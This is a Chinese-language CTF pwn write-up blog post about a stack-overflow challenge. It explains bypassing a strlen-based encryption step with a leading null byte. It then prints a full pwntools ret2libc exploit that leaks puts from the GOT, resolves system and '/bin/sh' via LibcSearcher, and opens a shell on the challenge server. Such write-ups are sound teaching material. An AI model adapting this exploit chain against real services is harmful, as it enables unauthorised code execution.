编辑
2023-05-04
pwn
00
请注意,本文编写于 629 天前,最后修改于 629 天前,其中某些信息可能已经过时。

目录

m

同样还是一道简单的栈溢出,不过这题难点就是如何绕过strlen防止构造的payload被更改。

检查:

image-20230504224346684

反编译:

image-20230504224432364

主函数

对于主函数的绕过就只需要输入个1就可以,这里我们的目的就是进入encrypt函数

encrypt

image-20230504224633759

gets是漏洞点,但是下面有一段加密函数会对payload造成破坏,所以如果要成功栈溢出,就必须得绕过加密,这里因为strlen对\x00截断并且x是一个uint类型,最小是0,所以输入\x00就可以绕过加密。

python
io.sendline(b'1') io.recvuntil(b'encrypted\n') payload = b'\x00'+b'a'*(0x57)+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(main) io.sendline(payload)

绕后就是一如既往的ret2libc

完整exp:

python
from pwn import* from LibcSearcher import* io = remote('node1.anna.nssctf.cn',28604) elf = ELF('./ciscnpwn2') puts_plt = elf.plt['puts'] puts_got = elf.got['puts'] main = 0x04009A0 pop_rdi = 0x0400c83 ret = 0x04006b9 io.sendline(b'1') io.recvuntil(b'encrypted\n') payload = b'\x00'+b'a'*(0x57)+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(main) io.sendline(payload) io.recvline() io.recvline() puts_addr = u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) libc = LibcSearcher('puts',puts_addr) libc_base = puts_addr - libc.dump('puts') system = libc_base + libc.dump('system') binsh = libc_base + libc.dump('str_bin_sh') io.recvuntil(b'encrypted\n') payload = b'\x00'+b'a'*(0x57)+p64(ret)+p64(pop_rdi)+p64(binsh)+p64(system)+p64(main) io.sendline(payload) io.interactive()

flag:

image-20230504225050973

如果对你有用的话,可以打赏哦
打赏
ali pay
wechat pay

本文作者:Hyrink

本文链接:

版权声明:本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!